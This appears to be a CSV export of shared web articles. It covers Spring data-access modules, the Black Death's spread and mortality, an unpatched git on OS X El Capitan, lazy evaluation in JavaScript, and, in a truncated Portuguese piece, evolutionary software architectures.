1460951131,CONTENT SHARED,6241723672990266258,4209517478660372522,5701632000254953757,,,,HTML,http://stackoverflow.com/questions/24990400/spring-dao-vs-spring-orm-vs-spring-jdbc,Spring DAO vs Spring ORM vs Spring JDBC,"Here is an introduction to each mentioned technology. Spring-DAO Spring-DAO is not stricto senso a spring module, but rather conventions that should dictate you to write DAO, and to write them well. As such, it does neither provide interfaces nor implementations nor templates to access your data. When writing a DAO, you should annotate them with @Repository so that exceptions linked to the underlying technology (JDBC, Hibernate, JPA, etc.) are consistently translated into the proper DataAccessException subclass. As an example, suppose you're now using Hibernate, and your service layer catches HibernateException in order to react to it. If you change to JPA, your DAOs interfaces should not change, and the service layer will still compile with blocks that catches HibernateException , but you will never enter these blocks as your DAOs are now throwing JPA PersistenceException . By using @Repository on your DAO, the exceptions linked to the underlying technology are translated to Spring DataAccessException ; your service layer catches these exceptions and if you decide to change the persistence technology, the same Spring DataAccessExceptions will still be thrown as spring have translated native exceptions. Note however that this has limited usage for the following reasons: Your should usually not catch persistence exceptions, as the provider may have rolled back the transaction (depending on the exact exception subtype), and thus you should not continue the execution with an alternative path. The hierarchy of exceptions is usually richer in your provider than what Spring provides, and there's no definitive mapping from one provider to the other. Relying on this is hazardous. This is however a good idea to annotate your DAOs with @Repository , as the beans will be automatically added by the scan procedure. Further, Spring may add other useful features to the annotation. Spring-JDBC Spring-JDBC provides the JdbcTemplate class, that removes plumbing code and helps you concentrate on the SQL query and parameters. You just need to configure it with a DataSource , and you can then write code like this: int nbRows = jdbcTemplate.queryForObject(""select count(1) from person"", Integer.class); Person p = jdbcTemplate.queryForObject(""select first, last from person where id=?"", rs -> new Person(rs.getString(1), rs.getString(2)), 134561351656L); Spring-JDBC also provides a JdbcDaoSupport, that you can extend to develop your DAO. It basically defines 2 properties: a DataSource and a JdbcTemplate that both can be used to implement the DAO methods. It also provides an exceptions translator from SQL exceptions to spring DataAccessExceptions. If you plan to use plain jdbc, this is the module you will need to use. Spring-ORM Spring-ORM is an umbrella module that covers many persistence technologies, namely JPA, JDO, Hibernate and iBatis. For each of these technologies, Spring provides integration classes so that each technology can be used following Spring principles of configuration, and smoothly integrates with Spring transaction management. For each technology, the configuration basically consists in injecting a DataSource bean into some kind of SessionFactory or EntityManagerFactory etc. bean. For pure JDBC, there's no need for such integration classes (apart from JdbcTemplate), as JDBC only relies on a DataSource. If you plan to use an ORM like JPA or Hibernate, you will not need spring-jdbc, but only this module. Spring-Data Spring-Data is an umbrella project that provides a common API to define how to access data (DAO + annotations) in a more generic way, covering both SQL and NOSQL data sources. The initial idea is to provide a technology so that the developer writes the interface for a DAO (finder methods) and the entity classes in a technology-agnostic way and, based on configuration only (annotations on DAOs & entities + spring configuration, be it xml- or java-based), decides the implementation technology, be it JPA (SQL) or redis, hadoop, etc. (NOSQL). If you follow the naming conventions defined by spring for the finder method names, you don't even need to provide the query strings corresponding to finder methods for the most simple cases. For other situations, you have to provide the query string inside annotations on the finder methods. When the application context is loaded, spring provides proxies for the DAO interfaces, that contain all the boilerplate code related to the data access technology, and invokes the configured queries. Spring-Data concentrates on non-SQL technologies, but still provides a module for JPA (the only SQL technology). What's next Knowing all this, you have now to decide what to pick. The good news here is that you don't need to make a definitive final choice for the technology. This is actually where Spring power resides : as a developer, you concentrate on the business when you write code, and if you do it well, changing the underlying technology is an implementation or configuration detail. Define a data model with POJO classes for the entities, and get/set methods to represent the entity attributes and the relationships to other entities. You will certainly need to annotate the entity classes and fields based on the technology, but for now, POJOs are enough to start with. Just concentrate on the business requirements for now. Define interfaces for your DAOs. 1 DAO covers exactly 1 entity, but you will certainly not need a DAO for each of them, as you should be able to load additional entities by navigating the relationships. Define the finder methods following strict naming conventions. Based on this, someone else can start working on the services layer, with mocks for your DAOs. You learn the different persistence technologies (sql, no-sql) to find the best fit for your needs, and choose one of them. Based on this, you annotate the entities and implement the DAOs (or let spring implement them for you if you choose to use spring-data). If the business requirements evolve and your data access technology is not sufficient to support it (say, you started with JDBC and a few entities, but now need a richer data model and JPA is a better choice), you will have to change the implementation of your DAOs, add a few annotations on your entities and change the spring configuration (add an EntityManagerFactory definition). The rest of your business code should not see other impacts from your change. Note : Transaction Management Spring provides an API for transaction management. If you plan to use spring for the data access, you should also use spring for transaction management, as they integrate together really well. For each data access technology supported by spring, there is a matching transaction manager for local transactions, or you can choose JTA if you need distributed transactions. All of them implement the same API, so that (once again) the technology choice is just a matter a configuration that can be changed without further impact on the business code. Note : Spring documentation The links to Spring documentation that you mentioned are rather old. Here is the documentation of the latest release (4.1.6, covering all topics) : Spring-data is not part of the Spring framework. There is a common module that you should first read to get used to the principles. Documentation can be found here:",en
1460979218,CONTENT SHARED,-5570256785328462468,-2979881261169775358,4439584469311270260,,,,HTML,http://www.historytoday.com/ole-j-benedictow/black-death-greatest-catastrophe-ever,The Black Death: The Greatest Catastrophe Ever,"he disastrous mortal disease known as the Black Death spread across Europe in the years 1346-53. The frightening name, however, only came several centuries after its visitation (and was probably a mistranslation of the Latin word 'atra' meaning both 'terrible' and 'black)'. Chronicles and letters from the time describe the terror wrought by the illness. In Florence, the great Renaissance poet Petrarch was sure that they would not be believed: 'O happy posterity, who will not experience such abysmal woe and will look upon our testimony as a fable.' A Florentine chronicler relates that, All the citizens did little else except to carry dead bodies to be buried [...] At every church they dug deep pits down to the water-table; and thus those who were poor who died during the night were bundled up quickly and thrown into the pit. In the morning when a large number of bodies were found in the pit, they took some earth and shovelled it down on top of them; and later others were placed on top of them and then another layer of earth, just as one makes lasagne with layers of pasta and cheese. The accounts are remarkably similar. The chronicler Agnolo di Tura 'the Fat' relates from his Tuscan home town that ... in many places in Siena great pits were dug and piled deep with the multitude of dead [...] And there were also those who were so sparsely covered with earth that the dogs dragged them forth and devoured many bodies throughout the city. The tragedy was extraordinary. In the course of just a few months, 60 per cent of Florence's population died from the plague, and probably the same proportion in Siena. In addition to the bald statistics, we come across profound personal tragedies: Petrarch lost to the Black Death his beloved Laura to whom he wrote his famous love poems; Di Tura tells us that 'I [...] buried my five children with my own hands'. The Black Death was an epidemic of bubonic plague, a disease caused by the bacterium Yersinia pestis that circulates among wild rodents where they live in great numbers and density. Such an area is called a 'plague focus' or a 'plague reservoir'. Plague among humans arises when rodents in human habitation, normally black rats, become infected. The black rat, also called the 'house rat' and the 'ship rat', likes to live close to people, the very quality that makes it dangerous (in contrast, the brown or grey rat prefers to keep its distance in sewers and cellars). Normally, it takes ten to fourteen days before plague has killed off most of a contaminated rat colony, making it difficult for great numbers of fleas gathered on the remaining, but soon- dying, rats to find new hosts. After three days of fasting, hungry rat fleas turn on humans. From the bite site, the contagion drains to a lymph node that consequently swells to form a painful bubo, most often in the groin, on the thigh, in an armpit or on the neck. Hence the name bubonic plague. The infection takes three-five days to incubate in people before they fall ill, and another three-five days before, in 80 per cent of the cases, the victims die. Thus, from the introduction of plague contagion among rats in a human community it takes, on average, twenty-three days before the first person dies. When, for instance, a stranger called Andrew Hogson died from plague on his arrival in Penrith in 1597, and the next plague case followed twenty-two days later, this corresponded to the first phase of the development of an epidemic of bubonic plague. And Hobson was, of course, not the only fugitive from a plague-stricken town or area arriving in various communities in the region with infective rat fleas in their clothing or luggage. This pattern of spread is called 'spread by leaps' or 'metastatic spread'. Thus, plague soon broke out in other urban and rural centres, from where the disease spread into the villages and townships of the surrounding districts by a similar process of leaps. In order to become an epidemic the disease must be spread to other rat colonies in the locality and transmitted to inhabitants in the same way. It took some time for people to recognize that a terrible epidemic was breaking out among them and for chroniclers to note this. The timescale varies: in the countryside it took about forty days for realisation to dawn; in most towns with a few thousand inhabitants, six to seven weeks; in the cities with over 10,000 inhabitants, about seven weeks, and in the few metropolises with over 100,000 inhabitants, as much as eight weeks. Plague bacteria can break out of the buboes and be carried by the blood stream to the lungs and cause a variant of plague that is spread by contaminated droplets from the cough of patients (pneumonic plague). However, contrary to what is sometimes believed, this form is not contracted easily, spreads normally only episodically or incidentally and constitutes therefore normally only a small fraction of plague cases. It now appears clear that human fleas and lice did not contribute to the spread, at least not significantly. The bloodstream of humans is not invaded by plague bacteria from the buboes, or people die with so few bacteria in the blood that bloodsucking human parasites become insufficiently infected to become infective and spread the disease: the blood of plague-infected rats contains 500-1,000 times more bacteria per unit of measurement than the blood of plague-infected humans. Importantly, plague was spread considerable distances by rat fleas on ships. Infected ship rats would die, but their fleas would often survive and find new rat hosts wherever they landed. Unlike human fleas, rat fleas are adapted to riding with their hosts; they readily also infest clothing of people entering affected houses and ride with them to other houses or localities. This gives plague epidemics a peculiar rhythm and pace of development and a characteristic pattern of dissemination. The fact that plague is transmitted by rat fleas means plague is a disease of the warmer seasons, disappearing during the winter, or at least lose most of their powers of spread. The peculiar seasonal pattern of plague has been observed everywhere and is a systematic feature also of the spread of the Black Death. In the plague history of Norway from the Black Death 1348-49 to the last outbreaks in 1654, comprising over thirty waves of plague, there was never a winter epidemic of plague. Plague is very different from airborne contagious diseases, which are spread directly between people by droplets: these thrive in cold weather. This conspicuous feature constitutes proof that the Black Death and plague in general is an insect-borne disease. Cambridge historian John Hatcher has noted that there is 'a remarkable transformation in the seasonal pattern of mortality in England after 1348': whilst before the Black Death the heaviest mortality was in the winter months, in the following century it was heaviest in the period from late July to late September. He points out that this strongly indicates that the 'transformation was caused by the virulence of bubonic plague'. Another very characteristic feature of the Black Death and plague epidemics in general, both in the past and in the great outbreaks in the early twentieth century, reflects their basis in rats and rat fleas: much higher proportions of inhabitants contract plague and die from it in the countryside than in urban centres. In the case of English plague history, this feature has been underlined by Oxford historian Paul Slack. When around 90 per cent of the population lived in the countryside, only a disease with this property combined with extreme lethal powers could cause the exceptional mortality of the Black Death and of many later plague epidemics. All diseases spread by cross-infection between humans, on the contrary, gain increasing powers of spread with increasing density of population and cause highest mortality rates in urban centres. Lastly it could be mentioned that scholars have succeeded in extracting genetic evidence of the causal agent of bubonic plague, the DNA-code of Yersinia pestis, from several plague burials in French cemeteries from the period 1348-1590. It used to be thought that the Black Death originated in China, but new research shows that it began in the spring of 1346 in the steppe region, where a plague reservoir stretches from the north-western shores of the Caspian Sea into southern Russia. People occasionally contract plague there even today. Two contemporary chroniclers identify the estuary of the river Don where it flows into the Sea of Azov as the area of the original outbreak, but this could be mere hearsay, and it is possible that it started elsewhere, perhaps in the area of the estuary of the river Volga on the Caspian Sea. At the time, this area was under the rule of the Mongol khanate of the Golden Horde. Some decades earlier the Mongol khanate had converted to Islam and the presence of Christians, or trade with them, was no longer tolerated. As a result the Silk Road caravan routes between China and Europe were cut off. For the same reason the Black Death did not spread from the east through Russia towards western Europe, but stopped abruptly on the Mongol border with the Russian principalities. As a result, Russia which might have become the Black Death's first European conquest, in fact was its last, and was invaded by the disease not from the east but from the west. The epidemic in fact began with an attack that the Mongols launched on the Italian merchants' last trading station in the region, Kaffa (today Feodosiya) in the Crimea. In the autumn of 1346, plague broke out among the besiegers and from them penetrated into the town. When spring arrived, the Italians fled on their ships. And the Black Death slipped unnoticed on board and sailed with them. *** The extent of the contagious power of the Black Death has been almost mystifying. The central explanation lies within characteristic features of medieval society in a dynamic phase of modernisation heralding the transformation from a medieval to early modern European society. Early industrial market-economic and capitalistic developments had advanced more than is often assumed, especially in northern Italy and Flanders. New, larger types of ship carried great quantities of goods over extensive trade networks that linked Venice and Genoa with Constantinople and the Crimea, Alexandria and Tunis, London and Bruges. In London and Bruges the Italian trading system was linked to the busy shipping lines of the German Hanseatic League in the Nordic countries and the Baltic area, with large broad-bellied ships called cogs. This system for long-distance trade was supplemented by a web of lively short and medium-distance trade that bound together populations all over the Old World. The strong increase in population in Europe in the High Middle Ages (1050-1300) meant that the prevailing agricultural technology was inadequate for further expansion. To accommodate the growth, forests were cleared and mountain villages settled wherever it was possible for people to eke out a living. People had to opt for a more one-sided husbandry, particularly in animals, to create a surplus that could be traded for staples such as salt and iron, grain or flour. These settlements operated within a busy trading network running from coasts to mountain villages. And with tradesmen and goods, contagious diseases reached even the most remote and isolated hamlets. In this early phase of modernisation, Europe was also on the way to 'the golden age of bacteria', when there was a great increase in epidemic diseases caused by increases in population density and in trade and transport while knowledge of the nature of epidemics, and therefore the ability to organise efficient countermeasures to them, was still minimal. Most people believed plague and mass illness to be a punishment from God for their sins. They responded with religious penitential acts aimed at tempering the Lord's wrath, or with passivity and fatalism: it was a sin to try to avoid God's will. Much new can be said on the Black Death's patterns of territorial spread. Of particular importance was the sudden appearance of the plague over vast distances, due to its rapid transportation by ship. Ships travelled at an average speed of around 40km a day which today seems quite slow. However, this speed meant that the Black Death easily moved 600km in a fortnight by ship: spreading, in contemporary terms, with astonishing speed and unpredictability. By land, the average spread was much slower: up to 2km per day along the busiest highways or roads and about 0.6km per day along secondary lines of communication. As already noted, the pace of spread slowed strongly during the winter and stopped completely in mountain areas such as the Alps and the northerly parts of Europe. Yet, the Black Death often rapidly established two or more fronts and conquered countries by advancing from various quarters. Italian ships from Kaffa arrived in Constantinople in May 1347 with the Black Death on board. The epidemic broke loose in early July. In North Africa and the Middle East, it started around September 1st, having arrived in Alexandria with ship transport from Constantinople. Its spread from Constantinople to European Mediterranean commercial hubs also started in the autumn of 1347. It reached Marseilles by about the second week of September, probably with a ship from the city. Then the Italian merchants appear to have left Constantinople several months later and arrived in their home towns of Genoa and Venice with plague on board, some time in November. On their way home, ships from Genoa also contaminated Florence's seaport city of Pisa. The spread out of Pisa is characterized by a number of metastatic leaps. These great commercial cities also functioned as bridgeheads from where the disease conquered Europe. In Mediterranean Europe, Marseilles functioned as the first great centre of spread. The relatively rapid advance both northwards up the Rhône valley to Lyons and south-westwards along the coasts towards Spain - in chilly months with relatively little shipping activity - is striking. As early as March 1348, both Lyon's and Spain's Mediterranean coasts were under attack. En route to Spain, the Black Death also struck out from the city of Narbonne north-westwards along the main road to the commercial centre of Bordeaux on the Atlantic coast, which by the end of March had become a critical new centre of spread. Around April 20th, a ship from Bordeaux must have arrived in La Coruña in northwestern Spain; a couple of weeks later another ship from there let loose the plague in Navarre in northeastern Spain. Thus, two northern plague fronts were opened less than two months after the disease had invaded southern Spain. Another plague ship sailed from Bordeaux, northwards to Rouen in Normandy where it arrived at the end of April. There, in June, a further plague front moved westwards towards Brittany, south-eastwards towards Paris and northwards in the direction of the Low Countries. Yet another ship bearing plague left Bordeaux a few weeks later and arrived around May 8th, in the southern English town of Melcombe Regis, part of present-day Weymouth in Dorset: the epidemic broke out shortly before June 24th. The significance of ships in the rapid transmission of contagion is underscored by the fact that at the time the Black Death landed in Weymouth it was still in an early phase in Italy. From Weymouth, the Black Death spread not only inland, but also in new metastatic leaps by ships, which in some cases must have travelled earlier than the recognized outbreaks of the epidemic: Bristol was contaminated in June, as were the coastal towns of the Pale in Ireland; London was contaminated in early August since the epidemic outbreak drew comment at the end of September. Commercial seaport towns like Colchester and Harwich must have been contaminated at about the same time. From these the Black Death spread inland. It is now also clear that the whole of England was conquered in the course of 1349 because, in the late autumn of 1348, ship transport opened a northern front in England for the Black Death, apparently in Grimsby. *** The early arrival of the Black Death in England and the rapid spread to its southeastern regions shaped much of the pattern of spread in Northern Europe. The plague must have arrived in Oslo in the autumn of 1348, and must have come with a ship from south-eastern England, which had lively commercial contacts with Norway. The outbreak of the Black Death in Norway took place before the disease had managed to penetrate southern Germany, again illustrating the great importance of transportation by ship and the relative slowness of spread by land. The outbreak in Oslo was soon stopped by the advent of winter weather, but it broke out again in the early spring. Soon it spread out of Oslo along the main roads inland and on both sides of the Oslofjord. Another independent introduction of contagion occurred in early July 1349 in the town of Bergen; it arrived in a ship from England, probably from King's Lynn. The opening of the second plague front was the reason that all Norway could be conquered in the course of 1349. It disappeared completely with the advent of winter, the last victims died at the turn of the year. The early dissemination of the Black Death to Oslo, which prepared the ground for a full outbreak in early spring, had great significance for the pace and pattern of the Black Death's further conquest of Northern Europe. Again ship transport played a crucial role, this time primarily by Hanseatic ships fleeing homewards from their trading station in Oslo with goods acquired during the winter. On their way the seaport of Halmstad close to the Sound was apparently contaminated in early July. This was the starting point for the plague's conquest of Denmark and Sweden, which was followed by several other independent introductions of plague contagion later; by the end of 1350 most of these territories had been ravaged. However, the voyage homewards to the Hanseatic cities on the Baltic Sea had started significantly earlier. The outbreak of the Black Death in the Prussian town of Elbing (today the Polish town of Elblag) on August 24th, 1349, was a new milestone in the history of the Black Death. A ship that left Oslo at the beginning of June would probably sail through the Sound around June 20th and reach Elbing in the second half of July, in time to unleash an epidemic outbreak around August 24th. Other ships that returned at the end of the shipping season in the autumn from the trading stations in Oslo or Bergen, brought the Black Death to a number of other Hanseatic cities both on the Baltic Sea and the North Sea. The advent of winter stopped the outbreaks initially as had happened elsewhere, but contagion was spread with goods to commercial towns and cities deep into northern Germany. In the spring of 1350, a northern German plague front was formed that spread southwards and met the plague front which in the summer of 1349 had formed in southern Germany with importation of contagion from Austria and Switzerland. *** Napoleon did not succeed in conquering Russia. Hitler did not succeed. But the Black Death did. It entered the territory of the city state of Novgorod in the late autumn of 1351 and reached the town of Pskov just before the winter set in and temporarily suppressed the epidemic; thus the full outbreak did not start until the early spring of 1352. In Novgorod itself, the Black Death broke out in mid-August. In 1353, Moscow was ravaged, and the disease also reached the border with the Golden Horde, this time from the west, where it petered out. Poland was invaded by epidemic forces coming both from Elbing and from the northern German plague front and, apparently, from the south by contagion coming across the border from Slovakia via Hungary. Iceland and Finland are the only regions that, we know with certainty, avoided the Black Death because they had tiny populations with minimal contact abroad. It seems unlikely that any other region was so lucky. How many people were affected? Knowledge of general mortality is crucial to all discussions of the social and historical impact of the plague. Studies of mortality among ordinary populations are far more useful, therefore, than studies of special social groups, whether monastic communities, parish priests or social elites. Because around 90 per cent of Europe's population lived in the countryside, rural studies of mortality are much more important than urban ones. Researchers generally used to agree that the Black Death swept away 20-30 per cent of Europe's population. However, up to 1960 there were only a few studies of mortality among ordinary people, so the basis for this assessment was weak. From 1960, a great number of mortality studies from various parts of Europe were published. These have been collated and it is now clear that the earlier estimates of mortality need to be doubled. No suitable sources for the study of mortality have been found in the Muslim countries that were ravaged. The mortality data available reflects the special nature of medieval registrations of populations. In a couple of cases, the sources are real censuses recording all members of the population, including women and children. However, most of the sources are tax registers and manorial registers recording households in the form of the names of the householders. Some registers aimed at recording all households, also the poor and destitute classes who did not pay taxes or rents, but the majority recorded only householders who paid tax to the town or land rent to the lord of the manor. This means that they overwhelmingly registered the better-off adult men of the population, who for reasons of age, gender and economic status had lower mortality rates in plague epidemics than the general population. According to the extant complete registers of all households, the rent or tax-paying classes constituted about half the population both in the towns and in the countryside, the other half were too poor. Registers that yield information on both halves of the populations indicate that mortality among the poor was 5-6 per cent higher. This means that in the majority of cases when registers only record the better-off half of the adult male population, mortality among the adult male population as a whole can be deduced by adding 2.5-3 per cent. Another fact to consider is that in households where the householder survived, other members often died. For various reasons women and children suffer higher incidence of mortality from plague than adult men. A couple of censuses produced by city states in Tuscany in order to establish the need for grain or salt are still extant. They show that the households were, on average, reduced in the countryside from 4.5 to 4 persons and in urban centres from 4 to 3.5 persons. All medieval sources that permit the study of the size and composition of households among the ordinary population produce similar data, from Italy in southern Europe to England in the west and Norway in northern Europe. This means that the mortality among the registered households as a whole was 11-12.5 per cent higher than among the registered householders. Detailed study of the mortality data available points to two conspicuous features in relation to the mortality caused by the Black Death: namely the extreme level of mortality caused by the Black Death, and the remarkable similarity or consistency of the level of mortality, from Spain in southern Europe to England in north-western Europe. The data is sufficiently widespread and numerous to make it likely that the Black Death swept away around 60 per cent of Europe's population. It is generally assumed that the size of Europe's population at the time was around 80 million. This implies that that around 50 million people died in the Black Death. This is a truly mind-boggling statistic. It overshadows the horrors of the Second World War, and is twice the number murdered by Stalin's regime in the Soviet Union. As a proportion of the population that lost their lives, the Black Death caused unrivalled mortality. This dramatic fall in Europe's population became a lasting and characteristic feature of late medieval society, as subsequent plague epidemics swept away all tendencies of population growth. Inevitably it had an enormous impact on European society and greatly affected the dynamics of change and development from the medieval to Early Modern period. A historical turning point, as well as a vast human tragedy, the Black Death of 1346-53 is unparalleled in human history. Ole J. Benedictow is Emeritus Professor of History at the Universtiy of Oslo, Norway. Further Reading: The Black Death, 1346-1353. The Complete History (Boydell & Brewer, 2004) Ole J. Benedictow, 'Plague in the Late Medieval Nordic Countries', Epidemiological Studies (1996) M.W. Dols, The Black Death in the Middle East (Princeton, 1970) J. Hatcher, Plague, Population and the English Economy 1348-1530 (Basingstoke, 1977) J. Hatcher 'England in the Aftermath of the Black Death' ( Past & Present , 1994) L.F. Hirst, The Conquest of Plague (Oxford, 1953).",en
1460979574,CONTENT SHARED,8042182000167325833,-2979881261169775358,4439584469311270260,,,,HTML,http://rachelbythebay.com/w/2016/04/17/unprotected/,"Remote code execution, git, and OS X","Remote code execution, git, and OS X Sometimes I think about all of those pictures which show a bunch of people in startups. They have their office space, which might be big, or it might be small, but they tend to have Macs. Lots of Macs. A lot of them also use git to do stuff, perhaps via GitHub, or via some other place entirely. There are lots of one-off repos all over the place. So you have lots of people running Macs and running git. Great, right? Peace, love, and free software? It's not all good. Let's say you're running El Capitan. What git do you get with your system? I installed it tonight just to find out: mini$ git --version git version 2.6.4 (Apple Git-63) git 2.6.4. Is anything wrong with that? Well, yeah, actually. Say hello to CVE-2016-2324 and CVE-2016-2315, present in everything before 2.7.1 according to the report. You should check this out. Remote. Code. Execution. My reading suggests that if you were to point a vulnerable version at a repository which is controlled by an attacker, then they could run code as you on your machine. Once that's done, it's game over. They own you. So, what's the big deal? Crappy C code gets exploited every day, and we upgrade it, and then we're ""safe"" until the next huge hole that's been there forever is reported. (In the meantime, people party with their private stash of vulnerabilities.) But what if you couldn't upgrade it? Remember when I said El Capitan? Apple is doing something new which basically keeps you from twiddling certain system-level programs without going to fantastic lengths. Not even root is enough to do it. In short, you can't just replace /usr/bin/git. Maybe you want to be clever and protect your users by disabling it until you can figure something else out. Well, sorry. You also can't ""chmod -x"" to at least keep it from being used. It will also fail. You might know a thing or two about how Apple provides these programs, and the fact that git and 64 other files in /usr/bin are all the same size (18176 bytes on my machine) might clue you in. You might think ""aha, it's some kind of abstraction"", and you're probably right. But, where's the ""real git"" then? I know, I'll just strace it to see what it execs! Oh wait, this isn't Linux. Uh, I'll dtruss it to see what it execs! $ sudo dtruss git dtrace: failed to execute git: dtrace cannot control executables signed with restricted entitlements Or not. Try to strings it, same deal. You actually get no output on the OS X machine. It takes GNU strings on a Linux box to get results, and none of them point you in the right direction. I'll save you the trouble of digging through your entire machine and tell you that you will probably find it in /Applications/Xcode.app/Contents/Developer/usr/bin. If you chmod -x that binary, then 'git --version' will eventually fail to run, as you originally wanted. Now you can be sure you won't accidentally run it while you figure out an upgrade strategy. Of course, upgrading over top of that will almost certainly screw something up later. It's times like this when you depend on the vendor. Well, vendor, how about it? Oh, and, incidentally: $ xcodebuild -version Xcode 7.3 Build version 7D175 If you rely on machines like this, I am truly sorry. I feel for you. I wrote this post in an attempt to goad them into action because this is affecting lots of people who are important to me. They are basically screwed until Apple deigns to deliver a patched git unto them. Let's see what happens.",en
1460979582,CONTENT SHARED,8611448623643424872,-2979881261169775358,4439584469311270260,,,,HTML,http://raganwald.com/2016/04/15/laziness-is-a-virtue.html,"""We will encourage you to develop the three great virtues of a programmer: laziness, impatience, and hubris""","larry wall laziness and eagerness In computing, ""laziness"" is a broad term, generally referring to not doing any work unless you need it. Whereas its opposite is ""eagerness,"" doing as much work as possible in case you need it later. Consider this JavaScript: Now, here's the question: Does JavaScript compute 2+3 ? You probably know the answer: Yes it does. When it comes to passing arguments to a function invocation, JavaScript is eager , it evaluates all of the expressions, and it does so whether the value of the expression is used or not. If JavaScript was lazy , it would not evaluate 2+3 in the expression ifThen(1 === 0, 2 + 3) . So is JavaScript an ""eager"" language? Mostly. But not always! If we write: 1 === 0 ? 2 + 3 : undefined , JavaScript does not evaluate 2+3 . Operators like ?: and && and || , along with program control structures like if , are lazy. You just have to know in your head what is eager and what is lazy. And if you want something to be lazy that isn't naturally lazy, you have to work around JavaScript's eagerness. For example: JavaScript eagerly evaluates () => 2 + 3 , which is a function. But it doesn't evaluate the expression in the body of the function until it is invoked. And it is not invoked, so 2+3 is not evaluated. Wrapping expressions in functions to delay evaluation is a longstanding technique in programming. They are colloquially called thunks , and there are lots of interesting applications for them. generating laziness The bodies of functions are a kind of lazy thing: They aren't evaluated until you invoke the function. This is related to if statements, and every other kind of control flow construct: JavaScript does not evaluate statements unless the code actually encounters the statement. Consider this code: You are doubtless chuckling at its naïveté. Imagine this list was the numbers from one to a billion-e.g. [1, 2, 3, ..., 999999998, 999999999, 1000000000] -and we invoke: We get the correct result, but we iterate over every one of our billion numbers first. Awful! Small children and the otherwise febrile know that you can return from anywhere in a JavaScript function, and the rest of its evaluation is abandoned. So we can write this: This version of the function is lazier than the first: It only does the minimum needed to determine whether a particular list contains a particular value. From containing , we can make a similar function, findWith : findWith applies a predicate function to lazily find the first value that evaluates truthily. Unfortunately, while findWith is lazy, its argument is evaluated eagerly, as we mentioned above. So let's say we want to find the first number in a list that is greater than 99 and is a palindrome: It's the same principle as before, of course, we iterate through our billion numbers and stop as soon as we get to 101 , which is greater than 99 and palindromic. But JavaScript eagerly evaluates the arguments to findWith . So it evaluates isPalindromic, gt(99)) and binds it to predicate , then it eagerly evaluates billion and binds it to list . Binding one value to another is cheap. But what if we had to generate a billion numbers? NumbersUpTo(1000000000) is eager, so it makes a list of all billion numbers, even though we only need the first 101 . This is the problem with laziness: We need to be lazy all the way through a computation. Luckily, we just finished working with generators and we know exactly how to make a lazy list of numbers: Generators yield values lazily. And findWith searches lazily, so we can find 101 without first generating an infinite array of numbers. JavaScript still evaluates Numbers() eagerly and binds it to list , but now it's binding an iterator, not an array. And the for (const element of list) { ... } statement lazily takes values from the iterator just as it did from the billion array. the sieve of eratosthenes Here is the Sieve of Eratosthenes , written in eager style: Let's take a pass at writing the Sieve of Eratosthenes in lazy style. First off, a few handy things we've already seen in this blog, and in JavaScript Allongé : With those in hand, we can write a generator that maps an iterable to a sequence of values with every nth element changed to null : That's the core of the ""sieving"" behaviour: take the front element of the list of numbers, call it n , and sieve every nth element afterwards. Our sieve is recursive, it sieves the result of sieving the rest of the list. With sieve in hand, we can use Numbers to get a list of numbers from 1 , and the rest operation to give us all but the head... In other words, the numbers from 2 . Then we compact the result to filter out all the nulls , and what is left are the primes: Besides performance, did you spot the full-on bug? Try running it yourself, it won't work! The problem is that at the last step, we called compact , and compact is an eager function, not a lazy one. So we end up trying to build an infinite list of primes before filtering out the nulls. We need to write a lazy version of compact : And now it works! When we write things in lazy style, we need lazy versions of all of our usual operations. For example, here's an eager implementation of unique : Naturally, we'd need a lazy implementation if we wanted to find the unique values of lazy iterators: And so it goes with all of our existing operations that we use with lists: We need lazy versions we can use with iterables, and we have to use the lazy operations throughout: We can't mix them. it comes down to types This brings us to an unexpected revelation. Generators and laziness can be wonderful. Exciting things are happening with using generators to emulate synchronized code with asynchronous operations, for example. But as we've seen, if we want to write lazy code, we have to be careful to be consistently lazy. If we accidentally mix lazy and eager code, we have problems. This is a symmetry problem. And at a deeper level, it exposes a problem with the ""duck typing"" mindset: There is a general idea that as long as objects handle the correct interface-as long as they respond to the right methods-they are interchangeable. But this is not always the case. The eager and lazy versions of compact both quack like ducks that operate on lists, but one is lazy and the other is not. ""Duck typing"" does not and cannot capture difference between a function that assures laziness and another that assures eagerness. Many other things work this way, for example escaped and unescaped strings. Or obfuscated and native IDs. To distinguish between things that have the same interfaces, but also have semantic or other contractural differences, we need types . We need to ensure that our programs work with each of the types, using the correct operations, even if the incorrect operations are also ""duck compatible"" and appear to work at first glance. notes",en
1460987807,CONTENT SHARED,1116363438212354892,-1578287561410088674,-1333298846748738975,,,,HTML,http://www.infoq.com/br/news/2016/04/evolutionary-architectures,Características de Arquiteturas Evolutivas,"O primeiro principio de uma arquitetura evolutiva é o suporte a mudanças incrementais que ""não quebram"" a aplicação. A arquitetura em microserviços é um bom exemplo deste tipo de arquitetura o qual Rebecca Parsons e Neal Ford da Thoughtworks fazem uso quando querem descrever as características e princípios de arquiteturas evolutivas . Eles acreditam que os microserviços reúnem os princípios de uma arquitetura evolutiva devido aos fortes princípios de contexto limitado herdado do Domain-Driven Design (DDD). Neal Ford assim como Rebecca Parsons, trabalham para a Thoughtworks, observe que seus estudos e definições ainda encontram-se em progresso, mas atualmente definem as arquiteturas evolutivas como: Uma arquitetura evolutiva suporta mudanças contínuas e incrementais como um primeiro princípio por meio de vários aspectos. Arquiteturas evolutivas compartilham muitas características, o qual seus autores descrevem como: Modularidade e Acoplamento: O suporte a modularidade, frequentemente relacionado a arquitetura técnica, permite separar componentes por meio de fronteiras bem definidas. Este conceito, por sua vez, simplifica a realização de mudanças que ""não quebram"" o sistema, o qual é um importante benefício para um desenvolvedor ao realizar suas mudanças em um sistema. Em contra partida, eles observaram que as arquiteturas desleixadas - Big ball of mud - perdem esta modularidade e em consequência não suportam evoluções. Organizada em torno da capacidade do negócio: A modularidade em nível de domínio é cada vez mais, realizada utilizando Domain-Driven Design (DDD). O particionamento em domínios por meio de microserviços é significativamente diferente em comparação com uma abordagem SOA, onde o particionamento é estritamente feito em torno de camadas técnicas. Experimentação: Rebecca Parsons e Neal Ford observaram que esta particularidade é um dos super poderes que as arquiteturas evolutivas entregam para os negócios. Mudanças em uma aplicação tornam-se triviais uma vez que permitem a criação de testes A/B , lançamento de versões ""Canary"" , entre outras. Além disso, uma arquitetura de microserviços pode ser desenhada para permitir que várias versões, de um mesmo serviço, possam ser executadas simultaneamente. Esta abordagem facilita a experimentação e recentemente tem permitido o uso do Desenvolvimento Guiado por Hipóteses . Uma outra forma de enxergar as arquiteturas evolutivas é por meio de princípios. Estes princípios descrevem as características de qualquer arquitetura ou método para criar uma arquitetura. Princípios focando em quando 